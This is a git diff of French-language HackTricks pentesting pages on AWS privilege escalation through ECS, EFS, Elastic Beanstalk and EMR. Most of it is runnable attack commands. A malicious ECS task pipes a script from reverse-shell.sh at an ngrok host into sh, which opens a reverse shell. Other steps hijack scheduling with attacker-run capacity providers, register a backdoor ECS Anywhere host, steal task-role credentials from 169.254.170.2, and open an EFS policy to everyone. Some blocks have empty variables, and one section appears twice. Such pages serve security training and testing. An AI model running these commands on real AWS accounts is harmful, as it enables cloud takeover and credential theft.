/tmp/volumes.json + + +aws ecs register-task-definition --family iam_exfiltration \ +--cpu 256 --memory 512 \ +--requires-compatibilities '["EC2"]' \ +--container-definitions file:///tmp/task.json \ +--volumes file:///tmp/volumes.json + + +aws ecs run-task --task-definition iam_exfiltration \ +--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ +--launch-type EC2 + +# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell +``` +### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** + +Un attaquant disposant des **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** peut **exécuter des commandes** à l'intérieur d'un conteneur en cours d'exécution et exfiltrer le rôle IAM qui y est attaché (vous avez besoin des permissions describe car elles sont nécessaires pour exécuter `aws ecs execute-command`).\ +Cependant, pour cela, l'instance de conteneur doit exécuter l'**ExecuteCommand agent** (ce qui, par défaut, n'est pas le cas). + +Par conséquent, l'attaquant pourrait essayer de : + +- **Essayer d'exécuter une commande** dans chaque conteneur en cours d'exécution +```bash +# List enableExecuteCommand on each task +for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do +echo "Cluster $cluster" +for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do +echo " Task $task" +# If true, it's your lucky day +aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand +done +done + +# Execute a shell in a container +aws ecs execute-command --interactive \ +--command "sh" \ +--cluster "$CLUSTER_ARN" \ +--task "$TASK_ARN" +``` +- S'il possède **`ecs:RunTask`**, exécutez une tâche avec `aws ecs run-task --enable-execute-command [...]` +- S'il possède **`ecs:StartTask`**, exécutez une tâche avec `aws ecs start-task --enable-execute-command [...]` +- S'il possède **`ecs:CreateService`**, créez un service avec `aws ecs create-service --enable-execute-command [...]` +- S'il possède **`ecs:UpdateService`**, mettez à jour un service avec `aws ecs update-service --enable-execute-command [...]` + +Vous pouvez trouver **des exemples de ces options** dans **les sections ECS privesc précédentes**. + +**Impact potentiel :** Privesc vers un rôle différent attaché aux conteneurs. + +### `ssm:StartSession` + +Consultez la **ssm privesc page** pour voir comment vous pouvez abuser de cette permission afin de **privesc vers ECS** : + +{{#ref}} +../aws-ssm-privesc/README.md +{{#endref}} + +### `iam:PassRole`, `ec2:RunInstances` + +Consultez la **ec2 privesc page** pour voir comment vous pouvez abuser de ces permissions afin de **privesc vers ECS** : + +{{#ref}} +../aws-ec2-privesc/README.md +{{#endref}} + +### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` + +Un attaquant disposant de ces permissions pourrait potentiellement enregistrer une instance EC2 dans un cluster ECS et y exécuter des tâches. Cela pourrait permettre à l'attaquant d'exécuter du code arbitraire dans le contexte des tâches ECS. + +- TODO : Est-il possible d'enregistrer une instance depuis un autre compte AWS afin que les tâches s'exécutent sur des machines contrôlées par l'attaquant ? + +### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` + +> [!NOTE] +> TODO: Tester cela + +Un attaquant disposant des permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` et `ecs:DescribeTaskSets` peut **créer un task set malveillant pour un service ECS existant et mettre à jour le primary task set**. Cela permet à l'attaquant d'**exécuter du code arbitraire au sein du service**. +```bash +# Register a task definition with a reverse shell +echo '{ +"family": "malicious-task", +"containerDefinitions": [ +{ +"name": "malicious-container", +"image": "alpine", +"command": [ +"sh", +"-c", +"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" +] +} +] +}' > malicious-task-definition.json + +aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json + +# Create a malicious task set for the existing service +aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}" + +# Update the primary task set for the service +aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id +``` +**Impact potentiel** : Exécuter du code arbitraire dans le service affecté, pouvant impacter sa fonctionnalité ou exfiltrer des données sensibles. + +## Références + +- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) + +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover) + +Un attaquant disposant des permissions pour gérer les capacity providers ECS et mettre à jour des services peut créer un EC2 Auto Scaling Group qu'il contrôle, l'encapsuler dans un ECS Capacity Provider, l'associer au cluster cible, et migrer un service victime pour utiliser ce provider. Les tasks seront alors planifiées sur des instances EC2 contrôlées par l'attaquant, permettant un accès au niveau OS pour inspecter les conteneurs et dérober les task role credentials. + +Commandes (us-east-1) : + +- Pré-requis + + + +- Créer un Launch Template pour que l'agent ECS rejoigne le cluster cible + + + +- Créer un Auto Scaling Group + + + +- Créer un Capacity Provider à partir de l'ASG + + + +- Associer le Capacity Provider au cluster (optionnellement comme défaut) + + + +- Migrer un service vers votre provider + + + +- Vérifier que les tasks sont lancées sur des instances contrôlées par l'attaquant + + + +- Optionnel : depuis le nœud EC2, faire docker exec dans les conteneurs ciblés et lire http://169.254.170.2 pour obtenir les task role credentials. + +- Nettoyage + + + +**Impact potentiel :** Les nœuds EC2 contrôlés par l'attaquant reçoivent les tâches des victimes, permettant un accès au niveau OS aux conteneurs et le vol des task IAM role credentials. + + +
+Commandes étape par étape (copier/coller) +
+export AWS_DEFAULT_REGION=us-east-1
+CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
+# Instance profile for ECS nodes
+aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
+aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
+aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
+aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true
+
+VPC=vpc-18e6ac62
+SUBNETS=
+
+AMI=ami-0b570770164588ab4
+USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
+LT_ID=
+
+ASG_ARN=
+
+CP_NAME=htcp-8797
+aws ecs create-capacity-provider --name  --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED"
+aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers  --default-capacity-provider-strategy capacityProvider=,weight=1
+
+SVC=
+# Task definition must be EC2-compatible (not Fargate-only)
+aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment
+
+TASK=
+CI=
+aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text
+
+
+ +### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration + +Abuser ECS Anywhere pour enregistrer un hôte contrôlé par l'attaquant en tant qu'instance de conteneur EXTERNAL dans un cluster ECS victime et exécuter des tasks sur cet hôte en utilisant des task et execution roles privilégiés. Cela donne un contrôle au niveau OS sur l'endroit où les tasks s'exécutent (votre propre machine) et permet le vol de credentials/données depuis les tasks et les volumes attachés sans manipuler les capacity providers ou les ASG. + +- Permissions requises (exemple minimal) : +- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask +- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation +- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (pour l'instance role ECS Anywhere et les task/execution roles) +- logs:CreateLogGroup/Stream, logs:PutLogEvents (si utilisation de awslogs) + +- Impact : Exécuter des containers arbitraires avec un taskRoleArn choisi sur l'hôte de l'attaquant ; exfiltrer les task-role credentials depuis 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI ; accéder à tout volume monté par les tasks ; plus discret que de manipuler des capacity providers/ASG. + +Étapes + +1) Créer/identifier le cluster (us-east-1) +```bash +aws ecs create-cluster --cluster-name ht-ecs-anywhere +``` +2) Créer un rôle ECS Anywhere et une activation SSM (pour instance on-prem/EXTERNAL) +```bash +aws iam create-role --role-name ecsAnywhereRole \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore +aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role +ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole) +ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode) +``` +3) Provisionner l'hôte attaquant et l'enregistrer automatiquement comme EXTERNAL (exemple : petit AL2 EC2 en tant que “on‑prem”) + +
+user-data.sh +```bash +#!/bin/bash +set -euxo pipefail +amazon-linux-extras enable docker || true +yum install -y docker curl jq +systemctl enable --now docker +curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh" +chmod +x /root/ecs-anywhere-install.sh +/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1 +``` +
+```bash +AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text) +IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \ +--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text) +aws ec2 wait instance-status-ok --instance-ids $IID +``` +4) Vérifier qu'une instance de conteneur EXTERNE a rejoint +```bash +aws ecs list-container-instances --cluster ht-ecs-anywhere +aws ecs describe-container-instances --cluster ht-ecs-anywhere \ +--container-instances --query 'containerInstances[0].[ec2InstanceId,attributes]' +# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external +``` +5) Créez des task/execution roles, enregistrez une task definition EXTERNAL, et exécutez-la sur l'hôte de l'attaquant +```bash +# roles +aws iam create-role --role-name ht-ecs-task-exec \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy +aws iam create-role --role-name ht-ecs-task-role \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +# attach any privileges you want to abuse to this task role + +# task def (EXTERNAL launch) +cat > td-external.json << 'JSON' +{ +"family": "ht-external", +"requiresCompatibilities": [ "EXTERNAL" ], +"networkMode": "bridge", +"memory": "256", +"cpu": "128", +"executionRoleArn": "arn:aws:iam:::role/ht-ecs-task-exec", +"taskRoleArn": "arn:aws:iam:::role/ht-ecs-task-role", +"containerDefinitions": [ +{"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest", +"entryPoint":["/bin/sh","-c"], +"command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"], +"memory": 128, +"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}} +} +] +} +JSON +aws logs create-log-group --log-group-name /ht/ecs/anywhere || true +aws ecs register-task-definition --cli-input-json file://td-external.json +CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text) +aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \ +--container-instances $CI +``` +6) À partir d'ici vous contrôlez l'hôte qui exécute les tasks. Vous pouvez lire les logs des tasks (si awslogs) ou exécuter directement sur l'hôte pour exfiltrer des credentials/données depuis vos tasks. + + + +#### Exemple de commande (placeholders) + + + + +### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover) + +Un attaquant disposant des permissions pour gérer les ECS capacity providers et mettre à jour les services peut créer un EC2 Auto Scaling Group qu'il contrôle, l'encapsuler dans un ECS Capacity Provider, l'associer au cluster cible, et migrer un service victime pour utiliser ce provider. Les tasks seront alors planifiées sur des instances EC2 contrôlées par l'attaquant, permettant un accès au niveau OS pour inspecter les containers et voler les credentials du task role. + +Commands (us-east-1): + +- Pré-requis + + + +- Créer un Launch Template pour que l'ECS agent rejoigne le cluster cible + + + +- Créer un Auto Scaling Group + + + +- Créer un Capacity Provider à partir de l'ASG + + + +- Associer le Capacity Provider au cluster (optionnellement comme provider par défaut) + + + +- Migrer un service vers votre provider + + + +- Vérifier que les tasks atterrissent sur les instances contrôlées par l'attaquant + + + +- Optionnel : depuis le nœud EC2, docker exec dans les conteneurs ciblés et lire http://169.254.170.2 pour obtenir les credentials du task role. + +- Nettoyage + + + +**Impact potentiel :** Les nœuds EC2 contrôlés par l'attaquant reçoivent les tasks de la victime, ce qui permet un accès au niveau OS aux containers et le vol des credentials IAM du task role. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md deleted file mode 100644 index 5f16db71a..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ /dev/null @@ -1,86 +0,0 @@ -# AWS - EFS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EFS - -Plus **d'infos sur EFS** dans : - -{{#ref}} -../aws-services/aws-efs-enum.md -{{#endref}} - -N'oubliez pas que pour monter un EFS, vous devez être dans un sous-réseau où l'EFS est exposé et y avoir accès (groupes de sécurité). Si cela se produit, par défaut, vous pourrez toujours le monter, cependant, s'il est protégé par des politiques IAM, vous devez avoir les autorisations supplémentaires mentionnées ici pour y accéder. - -### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` - -Avec l'une de ces autorisations, un attaquant peut **changer la politique du système de fichiers** pour **vous donner accès** à celui-ci, ou simplement **le supprimer** afin que **l'accès par défaut** soit accordé. - -Pour supprimer la politique : -```bash -aws efs delete-file-system-policy \ ---file-system-id -``` -Pour le changer : -```json -aws efs put-file-system-policy --file-system-id --policy file:///tmp/policy.json - -// Give everyone trying to mount it read, write and root access -// policy.json: -{ -"Version": "2012-10-17", -"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", -"Statement": [ -{ -"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": [ -"elasticfilesystem:ClientRootAccess", -"elasticfilesystem:ClientWrite", -"elasticfilesystem:ClientMount" -], -"Condition": { -"Bool": { -"elasticfilesystem:AccessedViaMountTarget": "true" -} -} -} -] -} -``` -### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)` - -Avec cette permission, un attaquant pourra **monter l'EFS**. Si la permission d'écriture n'est pas accordée par défaut à tous ceux qui peuvent monter l'EFS, il n'aura que **l'accès en lecture**. -```bash -sudo mkdir /efs -sudo mount -t efs -o tls,iam :/ /efs/ -``` -Les autorisations supplémentaires `elasticfilesystem:ClientRootAccess` et `elasticfilesystem:ClientWrite` peuvent être utilisées pour **écrire** à l'intérieur du système de fichiers après qu'il ait été monté et pour **accéder** à ce système de fichiers **en tant que root**. - -**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans le système de fichiers. - -### `elasticfilesystem:CreateMountTarget` - -Si un attaquant se trouve dans un **sous-réseau** où **aucun point de montage** de l'EFS n'existe. Il pourrait simplement **en créer un dans son sous-réseau** avec ce privilège : -```bash -# You need to indicate security groups that will grant the user access to port 2049 -aws efs create-mount-target --file-system-id \ ---subnet-id \ ---security-groups -``` -**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans le système de fichiers. - -### `elasticfilesystem:ModifyMountTargetSecurityGroups` - -Dans un scénario où un attaquant découvre que l'EFS a un point de montage dans son sous-réseau mais **aucun groupe de sécurité n'autorise le trafic**, il pourrait simplement **changer cela en modifiant les groupes de sécurité sélectionnés** : -```bash -aws efs modify-mount-target-security-groups \ ---mount-target-id \ ---security-groups -``` -**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans le système de fichiers. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md new file mode 100644 index 000000000..b136fcb33 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md @@ -0,0 +1,86 @@ +# AWS - EFS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EFS + +Plus d'informations **sur EFS** dans : + +{{#ref}} +../../aws-services/aws-efs-enum.md +{{#endref}} + +N'oubliez pas que, pour monter un EFS, vous devez être dans un sous-réseau où l'EFS est exposé et y avoir accès (security groups). Si c'est le cas, par défaut, vous pourrez toujours le monter ; cependant, s'il est protégé par des IAM policies, vous devez disposer des permissions supplémentaires mentionnées ici pour y accéder. + +### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` + +Avec l'une de ces permissions, un attaquant peut **modifier la file system policy** pour **vous donner l'accès** à celle-ci, ou simplement **la supprimer** afin que **l'accès par défaut** soit accordé. + +Pour supprimer la policy: +```bash +aws efs delete-file-system-policy \ +--file-system-id +``` +Pour le changer : +```json +aws efs put-file-system-policy --file-system-id --policy file:///tmp/policy.json + +// Give everyone trying to mount it read, write and root access +// policy.json: +{ +"Version": "2012-10-17", +"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", +"Statement": [ +{ +"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"elasticfilesystem:ClientRootAccess", +"elasticfilesystem:ClientWrite", +"elasticfilesystem:ClientMount" +], +"Condition": { +"Bool": { +"elasticfilesystem:AccessedViaMountTarget": "true" +} +} +} +] +} +``` +### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)` + +Avec cette permission un attaquant pourra **monter l'EFS**. Si la permission d'écriture n'est pas accordée par défaut à tous ceux qui peuvent monter l'EFS, il n'aura que **l'accès en lecture**. +```bash +sudo mkdir /efs +sudo mount -t efs -o tls,iam :/ /efs/ +``` +Les permissions supplémentaires `elasticfilesystem:ClientRootAccess` et `elasticfilesystem:ClientWrite` peuvent être utilisées pour **écrire** à l'intérieur du système de fichiers après son montage et pour **accéder** à ce système de fichiers **en tant que root**. + +**Impact potentiel :** Privesc indirecte en localisant des informations sensibles dans le système de fichiers. + +### `elasticfilesystem:CreateMountTarget` + +Si un attaquant se trouve à l'intérieur d'un **sous-réseau** où **aucun mount target** de l'EFS n'existe, il peut simplement **en créer un dans son sous-réseau** avec ce privilège : +```bash +# You need to indicate security groups that will grant the user access to port 2049 +aws efs create-mount-target --file-system-id \ +--subnet-id \ +--security-groups +``` +**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans le système de fichiers. + +### `elasticfilesystem:ModifyMountTargetSecurityGroups` + +Dans un scénario où un attaquant découvre que l'EFS a un mount target dans son sous-réseau mais **aucun security group n'autorise le trafic**, il pourrait simplement **changer cela en modifiant les security groups sélectionnés** : +```bash +aws efs modify-mount-target-security-groups \ +--mount-target-id \ +--security-groups +``` +**Impact potentiel:** Privesc indirect en localisant des informations sensibles dans le système de fichiers. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md similarity index 67% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md index 682401650..701c8ace5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md @@ -1,21 +1,21 @@ # AWS - Elastic Beanstalk Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Elastic Beanstalk -Plus **d'infos sur Elastic Beanstalk** dans : +Plus d'**infos sur Elastic Beanstalk** dans : {{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md +../../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} > [!WARNING] -> Pour effectuer des actions sensibles dans Beanstalk, vous aurez besoin d'avoir **beaucoup de permissions sensibles dans de nombreux services différents**. Vous pouvez vérifier par exemple les permissions accordées à **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** +> Pour effectuer des actions sensibles dans Beanstalk, vous devrez disposer d'**un grand nombre d'autorisations sensibles dans de nombreux services différents**. Vous pouvez vérifier par exemple les autorisations accordées à **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** -### `elasticbeanstalk:RebuildEnvironment`, permissions d'écriture S3 et bien d'autres +### `elasticbeanstalk:RebuildEnvironment`, autorisations d'écriture S3 & bien d'autres -Avec **des permissions d'écriture sur le bucket S3** contenant le **code** de l'environnement et des permissions pour **reconstruire** l'application (il faut `elasticbeanstalk:RebuildEnvironment` et quelques autres liées à `S3`, `EC2` et `Cloudformation`), vous pouvez **modifier** le **code**, **reconstruire** l'application et la prochaine fois que vous accédez à l'application, elle **exécutera votre nouveau code**, permettant à l'attaquant de compromettre l'application et les identifiants de rôle IAM associés. +Avec **des autorisations d'écriture sur le bucket S3** contenant le **code** de l'environnement et des autorisations pour **reconstruire** l'application (il faut `elasticbeanstalk:RebuildEnvironment` et quelques autres liées à `S3`, `EC2` et `Cloudformation`), vous pouvez **modifier** le **code**, **reconstruire** l'app et, la prochaine fois que vous accéderez à l'app, elle exécutera **votre nouveau code**, permettant à l'attaquant de compromettre l'application et les identifiants du rôle IAM associé. ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -32,37 +32,37 @@ aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` ### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, et plus... -Les permissions mentionnées ainsi que plusieurs **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** et **`elasticloadbalancing`** sont nécessaires pour créer un scénario Elastic Beanstalk brut à partir de zéro. +Les permissions mentionnées, ainsi que plusieurs permissions **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** et **`elasticloadbalancing`**, sont nécessaires pour créer un scénario Elastic Beanstalk brut à partir de zéro. - Créer une application AWS Elastic Beanstalk : ```bash aws elasticbeanstalk create-application --application-name MyApp ``` -- Créez un environnement AWS Elastic Beanstalk ([**plateformes prises en charge**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): +- Créez un environnement AWS Elastic Beanstalk ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): ```bash aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role ``` Si un environnement est déjà créé et que vous **ne voulez pas en créer un nouveau**, vous pouvez simplement **mettre à jour** celui existant. -- Emballez votre code d'application et vos dépendances dans un fichier ZIP : +- Emballez votre code applicatif et ses dépendances dans un fichier ZIP : ```python zip -r MyApp.zip . ``` -- Téléchargez le fichier ZIP dans un bucket S3 : +- Téléversez le fichier ZIP dans un bucket S3 : ```python aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ``` -- Créer une version d'application AWS Elastic Beanstalk : +- Créer une version d'application AWS Elastic Beanstalk: ```css aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk--",S3Key="MyApp.zip" ``` -- Déployez la version de l'application dans votre environnement AWS Elastic Beanstalk : +- Déployez la version de l'application sur votre environnement AWS Elastic Beanstalk : ```bash aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0 ``` ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -Tout d'abord, vous devez créer un **environnement Beanstalk légitime** avec le **code** que vous souhaitez exécuter dans la **victime** en suivant les **étapes précédentes**. Potentiellement un simple **zip** contenant ces **2 fichiers** : +Tout d'abord, vous devez créer un **environnement Beanstalk légitime** avec le **code** que vous souhaitez exécuter chez la **victime** en suivant les **étapes précédentes**. Éventuellement un simple **zip** contenant ces **2 fichiers** : {{#tabs }} {{#tab name="application.py" }} @@ -111,7 +111,7 @@ Werkzeug==1.0.1 {{#endtab }} {{#endtabs }} -Une fois que vous avez **votre propre environnement Beanstalk en cours d'exécution** votre shell de réversion, il est temps de **le migrer** vers l'environnement des **victimes**. Pour ce faire, vous devez **mettre à jour la politique de bucket** de votre bucket S3 Beanstalk afin que la **victime puisse y accéder** (Notez que cela va **ouvrir** le bucket à **TOUS**): +Une fois que vous avez **votre propre Beanstalk env en cours d'exécution** votre rev shell, il est temps de **migrer** celui-ci vers l'env de la **victime**. Pour ce faire, vous devez **mettre à jour la Bucket Policy** de votre beanstalk S3 bucket afin que la **victime puisse y accéder** (Notez que cela **ouvrira** le Bucket à **TOUT LE MONDE**): ```json { "Version": "2008-10-17", @@ -162,4 +162,4 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections. ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md deleted file mode 100644 index 04c6e27e3..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ /dev/null @@ -1,62 +0,0 @@ -# AWS - EMR Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EMR - -Plus d'**info sur EMR** dans : - -{{#ref}} -../aws-services/aws-emr-enum.md -{{#endref}} - -### `iam:PassRole`, `elasticmapreduce:RunJobFlow` - -Un attaquant avec ces permissions peut **lancer un nouveau cluster EMR en attachant des rôles EC2** et essayer de voler ses identifiants.\ -Notez que pour ce faire, vous devez **connaître une clé privée ssh importée dans le compte** ou en importer une, et être capable d'**ouvrir le port 22 dans le nœud maître** (vous pourriez être en mesure de le faire avec les attributs `EmrManagedMasterSecurityGroup` et/ou `ServiceAccessSecurityGroup` à l'intérieur de `--ec2-attributes`). -```bash -# Import EC2 ssh key (you will need extra permissions for this) -ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" -chmod 400 /tmp/sshkey -base64 /tmp/sshkey.pub > /tmp/pub.key -aws ec2 import-key-pair \ ---key-name "privesc" \ ---public-key-material file:///tmp/pub.key - - -aws emr create-cluster \ ---release-label emr-5.15.0 \ ---instance-type m4.large \ ---instance-count 1 \ ---service-role EMR_DefaultRole \ ---ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc - -# Wait 1min and connect via ssh to an EC2 instance of the cluster) -aws emr describe-cluster --cluster-id -# In MasterPublicDnsName you can find the DNS to connect to the master instance -## You cna also get this info listing EC2 instances -``` -Notez comment un **rôle EMR** est spécifié dans `--service-role` et un **rôle ec2** est spécifié dans `--ec2-attributes` à l'intérieur de `InstanceProfile`. Cependant, cette technique ne permet que de voler les identifiants de rôle EC2 (puisque vous vous connecterez via ssh) mais pas le rôle IAM EMR. - -**Impact potentiel :** Privesc au rôle de service EC2 spécifié. - -### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` - -Avec ces autorisations, un attaquant peut accéder à la **console AWS**, créer un Notebook et y accéder pour voler le rôle IAM. - -> [!CAUTION] -> Même si vous attachez un rôle IAM à l'instance de notebook, dans mes tests, j'ai remarqué que j'étais capable de voler des identifiants gérés par AWS et non des identifiants liés 